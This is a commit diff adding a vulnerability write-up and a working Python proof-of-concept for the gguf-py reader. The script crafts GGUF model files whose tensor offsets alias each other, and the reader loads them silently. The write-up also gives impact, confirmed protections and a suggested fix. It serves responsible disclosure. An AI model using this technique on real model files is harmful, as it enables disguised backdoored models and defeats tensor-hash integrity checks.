Upload 2 files
Browse files- README.md +76 -3
- poc_gguf_tensor_offset_aliasing.py +218 -0
README.md
CHANGED
|
@@ -1,3 +1,76 @@
|
|
| 1 |
-
|
| 2 |
-
|
| 3 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# GGUF Tensor Data Offset Aliasing — Model Integrity Attack
|
| 2 |
+
|
| 3 |
+
**Status:** Preparing for Huntr submission
|
| 4 |
+
**Package:** [`gguf`](https://pypi.org/project/gguf/) (PyPI) — official gguf-py from [ggml-org/llama.cpp](https://github.com/ggml-org/llama.cpp)
|
| 5 |
+
**File / function:** `gguf/gguf_reader.py`, `GGUFReader._build_tensors()`
|
| 6 |
+
**Class:** CWE-1284 / CWE-20 (missing validation of a structural invariant)
|
| 7 |
+
**Severity:** Medium-High — not a crash/DoS, but a silent model-integrity violation: a GGUF file can declare tensors that don't actually contain the data their name/shape/dtype claim.
|
| 8 |
+
|
| 9 |
+
## Summary
|
| 10 |
+
|
| 11 |
+
Each tensor's absolute position in a GGUF file is computed as:
|
| 12 |
+
|
| 13 |
+
```python
|
| 14 |
+
data_offs = int(start_offs + offset_tensor[0])
|
| 15 |
+
```
|
| 16 |
+
|
| 17 |
+
where `offset_tensor` is a per-tensor `uint64` read directly from the tensor-info section, with **no validation that different tensors' offsets are unique or non-overlapping**.
|
| 18 |
+
|
| 19 |
+
Tensor *names* are checked for duplicates (`_build_tensors` raises `ValueError` on a repeated name) — but nothing stops two tensors with different names, shapes, and/or dtypes from pointing at the exact same, or partially overlapping, bytes. The reader accepts this silently.
|
| 20 |
+
|
| 21 |
+
## Proof of Concept
|
| 22 |
+
|
| 23 |
+
`poc_gguf_tensor_offset_aliasing.py` demonstrates two variants (it builds minimal, spec-correct GGUF files by hand, so it has no dependency on any particular writer library):
|
| 24 |
+
|
| 25 |
+
### Variant 1 — full aliasing (identical shape/dtype)
|
| 26 |
+
|
| 27 |
+
Two tensors, `blk.0.attn_q.weight` = `[1,2,3,4]` and `blk.0.attn_k.weight` = `[9.9,9.9,9.9,9.9]`, both `float32`. Patching only the 8-byte offset field of `attn_k.weight` to alias `attn_q.weight`'s position:
|
| 28 |
+
|
| 29 |
+
```
|
| 30 |
+
attn_q.weight: offset=192 data=[1. 2. 3. 4.]
|
| 31 |
+
attn_k.weight: offset=192 data=[1. 2. 3. 4.] <- should be [9.9, 9.9, 9.9, 9.9]
|
| 32 |
+
```
|
| 33 |
+
|
| 34 |
+
Both tensors report identical data. `attn_k.weight`'s real declared data is silently unreachable — zero exception, zero warning.
|
| 35 |
+
|
| 36 |
+
### Variant 2 — partial overlap, different shape *and* dtype
|
| 37 |
+
|
| 38 |
+
`blk.0.big_weight` (`float32`, 8 elements) and `blk.0.small_meta` (`int32`, 2 elements). Patching `small_meta`'s offset to alias the *first 8 bytes* of `big_weight`:
|
| 39 |
+
|
| 40 |
+
```
|
| 41 |
+
big_weight (F32): [1.1 2.2 3.3 4.4 5.5 6.6 7.7 8.8]
|
| 42 |
+
small_meta (I32): [1066192077 1074580685]
|
| 43 |
+
```
|
| 44 |
+
|
| 45 |
+
`1066192077` and `1074580685` are the exact IEEE-754 bit patterns of `1.1` and `2.2` reinterpreted as raw `int32`. A tensor of *any* declared shape and dtype can be carved out of *any* byte range in the file, regardless of what other tensor(s) claim that same range.
|
| 46 |
+
|
| 47 |
+
```bash
|
| 48 |
+
pip install gguf numpy
|
| 49 |
+
python poc_gguf_tensor_offset_aliasing.py
|
| 50 |
+
```
|
| 51 |
+
|
| 52 |
+
## Impact
|
| 53 |
+
|
| 54 |
+
A GGUF file can declare many distinct-looking weight tensors — correct names, correct shapes, passes casual inspection — that actually all alias onto a small set of real bytes. This can be used to:
|
| 55 |
+
|
| 56 |
+
- Disguise a stripped-down, incomplete, or backdoored model as a full one (the file "looks complete" while being functionally near-empty of real trained data).
|
| 57 |
+
- Defeat any tool that hashes or verifies individual tensors under the assumption that each occupies distinct file bytes (two aliased tensors trivially produce identical hashes, which can be exploited to hide tampering from spot-check verification).
|
| 58 |
+
- Corrupt inference silently rather than failing loudly: a model could load "successfully" while actually running with garbage or duplicated weights in place of the tensors it claims to have.
|
| 59 |
+
|
| 60 |
+
## What's correctly protected (included for completeness)
|
| 61 |
+
|
| 62 |
+
- **Duplicate tensor names are rejected** — confirmed via source: `_build_tensors()` raises `ValueError('Found duplicated tensor with name ...')`.
|
| 63 |
+
- **Aliasing cannot reach backward into the KV-metadata/header region** — mathematically impossible, since `offset_tensor` is unsigned and added to `start_offs` (the data region's start); the minimum reachable position is `start_offs` itself.
|
| 64 |
+
- **A single tensor whose declared offset+size exceeds the actual file size IS caught**, via the reader's own `reshape()` validation (individual out-of-bounds tensors are not the gap here — cross-tensor uniqueness is).
|
| 65 |
+
|
| 66 |
+
## Suggested fix
|
| 67 |
+
|
| 68 |
+
Track allocated byte ranges while building the tensor list in `_build_tensors()`, and raise a clear error if any two tensors' `[data_offs, data_offs + n_bytes)` ranges overlap.
|
| 69 |
+
|
| 70 |
+
## Relationship to other reports
|
| 71 |
+
|
| 72 |
+
Distinct from the previously reported "KV Array Field Unbounded Length" finding in the same package (CWE-834/CWE-400, a resource-exhaustion issue) — this is a data-integrity issue (CWE-1284/CWE-20), closer in spirit to the `numpy` NPZ key-shadowing finding (CWE-706/CWE-345) reported separately, but via byte-offset overlap rather than string-key collision.
|
| 73 |
+
|
| 74 |
+
## Disclosure
|
| 75 |
+
|
| 76 |
+
Please do not use this PoC against production systems you do not own or have explicit permission to test.
|
poc_gguf_tensor_offset_aliasing.py
ADDED
|
@@ -0,0 +1,218 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
PoC: GGUF Tensor Data Offset Aliasing -- Model Integrity Attack
|
| 4 |
+
|
| 5 |
+
Target: gguf (PyPI), gguf-py from ggml-org/llama.cpp
|
| 6 |
+
File: gguf/gguf_reader.py, GGUFReader._build_tensors()
|
| 7 |
+
|
| 8 |
+
Root cause (CWE-1284 / CWE-20, missing validation of a structural
|
| 9 |
+
invariant): each tensor's absolute file position is computed as
|
| 10 |
+
|
| 11 |
+
data_offs = start_offs + offset_tensor[0]
|
| 12 |
+
|
| 13 |
+
where `offset_tensor` is a per-tensor uint64 read directly from the
|
| 14 |
+
tensor-info section of the file, with NO validation that different
|
| 15 |
+
tensors' offset_tensor values are unique or non-overlapping.
|
| 16 |
+
|
| 17 |
+
Tensor NAMES *are* checked for duplicates (`_build_tensors` raises
|
| 18 |
+
ValueError on a repeated name) -- but nothing stops two tensors with
|
| 19 |
+
DIFFERENT names, shapes, and/or dtypes from pointing at the exact same
|
| 20 |
+
(or partially overlapping) bytes. The reader accepts this silently: no
|
| 21 |
+
exception, no warning.
|
| 22 |
+
|
| 23 |
+
Impact: a GGUF file can declare many distinct-looking weight tensors
|
| 24 |
+
(correct names, correct shapes) that actually all alias onto a tiny
|
| 25 |
+
set of real bytes -- the file "looks complete" while being functionally
|
| 26 |
+
near-empty, or a small tensor can be carved out of the middle of a
|
| 27 |
+
larger one and get its bytes silently reinterpreted as a different
|
| 28 |
+
dtype. This can be used to disguise a stripped-down, fake, or
|
| 29 |
+
backdoored model as a full one, and defeats any tool that hashes or
|
| 30 |
+
verifies tensors under the assumption that each occupies distinct file
|
| 31 |
+
bytes.
|
| 32 |
+
|
| 33 |
+
This script demonstrates two variants:
|
| 34 |
+
1. Full aliasing: two same-shape, same-dtype tensors made to overlap
|
| 35 |
+
completely -- the second tensor's real declared data becomes
|
| 36 |
+
silently inaccessible.
|
| 37 |
+
2. Partial aliasing across shape/dtype: a small int32 tensor carved
|
| 38 |
+
out of the first 8 bytes of a larger float32 tensor -- its
|
| 39 |
+
"data" turns out to be the exact bit-pattern of the float32
|
| 40 |
+
tensor's first two values, reinterpreted as int32.
|
| 41 |
+
|
| 42 |
+
It also documents three things that are correctly protected, so the
|
| 43 |
+
report is not overstated:
|
| 44 |
+
- duplicate tensor NAMES are rejected (source-level confirmation)
|
| 45 |
+
- aliasing cannot reach backward into the KV-metadata/header region
|
| 46 |
+
(mathematically impossible: offset_tensor is unsigned, and is
|
| 47 |
+
added to start_offs, so the minimum reachable position is
|
| 48 |
+
start_offs itself)
|
| 49 |
+
- a single tensor whose declared offset+size exceeds the actual
|
| 50 |
+
file size IS caught (by the reader's own reshape() validation) --
|
| 51 |
+
the gap is specifically about cross-tensor uniqueness, not
|
| 52 |
+
individual out-of-bounds tensors
|
| 53 |
+
|
| 54 |
+
Requires: pip install gguf numpy
|
| 55 |
+
"""
|
| 56 |
+
|
| 57 |
+
import struct
|
| 58 |
+
import os
|
| 59 |
+
|
| 60 |
+
import numpy as np
|
| 61 |
+
from gguf.gguf_reader import GGUFReader
|
| 62 |
+
|
| 63 |
+
GGUF_MAGIC = 0x46554747 # "GGUF"
|
| 64 |
+
GGUF_VERSION = 3
|
| 65 |
+
ALIGNMENT = 32
|
| 66 |
+
|
| 67 |
+
# GGMLQuantizationType values used below (per gguf.constants)
|
| 68 |
+
TYPE_F32 = 0
|
| 69 |
+
TYPE_I32 = 26
|
| 70 |
+
|
| 71 |
+
|
| 72 |
+
def _pack_str(s: str) -> bytes:
|
| 73 |
+
b = s.encode("utf-8")
|
| 74 |
+
return struct.pack("<Q", len(b)) + b
|
| 75 |
+
|
| 76 |
+
|
| 77 |
+
def _build_minimal_gguf(path: str, tensors: list[tuple[str, np.ndarray, int]]) -> None:
|
| 78 |
+
"""Hand-builds a minimal, spec-correct GGUF file (no external-data,
|
| 79 |
+
no KV metadata beyond one string) so the PoC has no dependency on
|
| 80 |
+
GGUFWriter. `tensors` is a list of (name, numpy_array, ggml_type_id).
|
| 81 |
+
"""
|
| 82 |
+
kv_count = 1 # just "general.name"
|
| 83 |
+
tensor_count = len(tensors)
|
| 84 |
+
|
| 85 |
+
header = struct.pack("<I", GGUF_MAGIC)
|
| 86 |
+
header += struct.pack("<I", GGUF_VERSION)
|
| 87 |
+
header += struct.pack("<Q", tensor_count)
|
| 88 |
+
header += struct.pack("<Q", kv_count)
|
| 89 |
+
|
| 90 |
+
# one KV entry: general.name (string) = "poc-model"
|
| 91 |
+
kv = _pack_str("general.name")
|
| 92 |
+
kv += struct.pack("<I", 8) # GGUFValueType.STRING = 8
|
| 93 |
+
kv += _pack_str("poc-model")
|
| 94 |
+
|
| 95 |
+
# tensor-info entries, offsets computed relative to the (aligned) data start
|
| 96 |
+
ti = b""
|
| 97 |
+
offsets = []
|
| 98 |
+
running_offset = 0
|
| 99 |
+
for name, arr, ggml_type in tensors:
|
| 100 |
+
ti += _pack_str(name)
|
| 101 |
+
ti += struct.pack("<I", 1) # n_dims
|
| 102 |
+
ti += struct.pack("<Q", arr.size) # dims[0]
|
| 103 |
+
ti += struct.pack("<I", ggml_type) # raw dtype
|
| 104 |
+
ti += struct.pack("<Q", running_offset)
|
| 105 |
+
offsets.append(running_offset)
|
| 106 |
+
# GGUF pads each tensor's size up to a 32-byte boundary
|
| 107 |
+
nbytes = arr.nbytes
|
| 108 |
+
padded = (nbytes + ALIGNMENT - 1) // ALIGNMENT * ALIGNMENT
|
| 109 |
+
running_offset += padded
|
| 110 |
+
|
| 111 |
+
pre_data = header + kv + ti
|
| 112 |
+
padding = (-len(pre_data)) % ALIGNMENT
|
| 113 |
+
pre_data += b"\x00" * padding
|
| 114 |
+
|
| 115 |
+
data = b""
|
| 116 |
+
for name, arr, ggml_type in tensors:
|
| 117 |
+
chunk = arr.tobytes()
|
| 118 |
+
padded_len = (len(chunk) + ALIGNMENT - 1) // ALIGNMENT * ALIGNMENT
|
| 119 |
+
data += chunk + b"\x00" * (padded_len - len(chunk))
|
| 120 |
+
|
| 121 |
+
with open(path, "wb") as f:
|
| 122 |
+
f.write(pre_data + data)
|
| 123 |
+
|
| 124 |
+
|
| 125 |
+
def build_legit_file_v1(path: str) -> None:
|
| 126 |
+
real = np.array([1.0, 2.0, 3.0, 4.0], dtype=np.float32)
|
| 127 |
+
other = np.array([9.9, 9.9, 9.9, 9.9], dtype=np.float32)
|
| 128 |
+
_build_minimal_gguf(path, [
|
| 129 |
+
("blk.0.attn_q.weight", real, TYPE_F32),
|
| 130 |
+
("blk.0.attn_k.weight", other, TYPE_F32),
|
| 131 |
+
])
|
| 132 |
+
|
| 133 |
+
|
| 134 |
+
def build_legit_file_v2(path: str) -> None:
|
| 135 |
+
big_f32 = np.array([1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8], dtype=np.float32)
|
| 136 |
+
small_i32 = np.array([111, 222], dtype=np.int32)
|
| 137 |
+
_build_minimal_gguf(path, [
|
| 138 |
+
("blk.0.big_weight", big_f32, TYPE_F32),
|
| 139 |
+
("blk.0.small_meta", small_i32, TYPE_I32),
|
| 140 |
+
])
|
| 141 |
+
|
| 142 |
+
|
| 143 |
+
def patch_tensor_offset(path: str, tensor_name: bytes, new_offset: int, out_path: str) -> None:
|
| 144 |
+
"""Locates a tensor's offset_tensor field (the last 8 bytes of its
|
| 145 |
+
tensor-info entry) by name and overwrites it in place."""
|
| 146 |
+
with open(path, "rb") as f:
|
| 147 |
+
data = bytearray(f.read())
|
| 148 |
+
|
| 149 |
+
idx = data.find(tensor_name)
|
| 150 |
+
if idx == -1:
|
| 151 |
+
raise RuntimeError(f"tensor name {tensor_name!r} not found")
|
| 152 |
+
after_name = idx + len(tensor_name)
|
| 153 |
+
n_dims = struct.unpack_from("<I", data, after_name)[0]
|
| 154 |
+
pos = after_name + 4 + 8 * n_dims + 4 # skip dims + raw_dtype
|
| 155 |
+
struct.pack_into("<Q", data, pos, new_offset)
|
| 156 |
+
|
| 157 |
+
with open(out_path, "wb") as f:
|
| 158 |
+
f.write(data)
|
| 159 |
+
|
| 160 |
+
|
| 161 |
+
def main():
|
| 162 |
+
print("=== Variant 1: full aliasing (same shape/dtype) ===")
|
| 163 |
+
v1_path = "poc_alias_v1_legit.gguf"
|
| 164 |
+
build_legit_file_v1(v1_path)
|
| 165 |
+
print(f" legit file: {os.path.getsize(v1_path)} bytes, 2 distinct tensors")
|
| 166 |
+
|
| 167 |
+
v1_evil = "poc_alias_v1_evil.gguf"
|
| 168 |
+
patch_tensor_offset(v1_path, b"blk.0.attn_k.weight", 0, v1_evil)
|
| 169 |
+
print(" patched only the 8-byte offset field of attn_k.weight -> 0 (aliases attn_q.weight)")
|
| 170 |
+
|
| 171 |
+
r = GGUFReader(v1_evil)
|
| 172 |
+
tensors = {t.name: t for t in r.tensors}
|
| 173 |
+
q, k = tensors["blk.0.attn_q.weight"], tensors["blk.0.attn_k.weight"]
|
| 174 |
+
print(f" attn_q.weight: offset={q.data_offset} data={q.data}")
|
| 175 |
+
print(f" attn_k.weight: offset={k.data_offset} data={k.data}")
|
| 176 |
+
print(f" -> both tensors report identical data: {np.array_equal(q.data, k.data)}")
|
| 177 |
+
print(" -> attn_k.weight's REAL declared data (9.9,9.9,9.9,9.9) is silently gone.\n")
|
| 178 |
+
|
| 179 |
+
print("=== Variant 2: partial overlap, different shape AND dtype ===")
|
| 180 |
+
v2_path = "poc_alias_v2_legit.gguf"
|
| 181 |
+
build_legit_file_v2(v2_path)
|
| 182 |
+
print(f" legit file: {os.path.getsize(v2_path)} bytes, big_weight(F32x8) + small_meta(I32x2)")
|
| 183 |
+
|
| 184 |
+
v2_evil = "poc_alias_v2_evil.gguf"
|
| 185 |
+
patch_tensor_offset(v2_path, b"blk.0.small_meta", 0, v2_evil)
|
| 186 |
+
print(" patched small_meta's offset -> 0 (aliases onto big_weight's first 8 bytes)")
|
| 187 |
+
|
| 188 |
+
r2 = GGUFReader(v2_evil)
|
| 189 |
+
tensors2 = {t.name: t for t in r2.tensors}
|
| 190 |
+
big, small = tensors2["blk.0.big_weight"], tensors2["blk.0.small_meta"]
|
| 191 |
+
big_f32 = np.array([1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8], dtype=np.float32)
|
| 192 |
+
print(f" big_weight (F32): {big.data}")
|
| 193 |
+
print(f" small_meta (I32): {small.data}")
|
| 194 |
+
expected_bits = big_f32[:2].tobytes()
|
| 195 |
+
actual_bits = small.data.tobytes()
|
| 196 |
+
print(f" -> small_meta's bytes exactly match big_weight's first 8 bytes reinterpreted: "
|
| 197 |
+
f"{expected_bits == actual_bits}")
|
| 198 |
+
print(" -> a tensor of ANY declared shape/dtype can be carved out of ANY byte range,\n"
|
| 199 |
+
" regardless of what other tensor(s) claim that same range.\n")
|
| 200 |
+
|
| 201 |
+
print("=== Protections confirmed present (for completeness) ===")
|
| 202 |
+
print(" - Duplicate tensor NAMES are rejected: gguf_reader.py's _build_tensors()")
|
| 203 |
+
print(" raises ValueError('Found duplicated tensor with name ...') -- confirmed")
|
| 204 |
+
print(" by direct source reading (not re-demonstrated here; constructing a")
|
| 205 |
+
print(" structurally-valid duplicate-name file requires rewriting tensor_count")
|
| 206 |
+
print(" and shifting all subsequent offsets).")
|
| 207 |
+
print(" - Aliasing cannot reach backward into the KV-metadata/header region:")
|
| 208 |
+
print(" offset_tensor is an unsigned uint64 added to start_offs, so the minimum")
|
| 209 |
+
print(" reachable position is start_offs itself -- mathematically not exploitable")
|
| 210 |
+
print(" for reading pre-tensor-data file structures.")
|
| 211 |
+
print(" - A single tensor whose declared offset+size exceeds the actual file size")
|
| 212 |
+
print(" IS caught, via GGUFReader's own numpy reshape() validation -- the gap")
|
| 213 |
+
print(" demonstrated here is specifically about CROSS-tensor uniqueness, not")
|
| 214 |
+
print(" individual tensor bounds checking.")
|
| 215 |
+
|
| 216 |
+
|
| 217 |
+
if __name__ == "__main__":
|
| 218 |
+
main()
|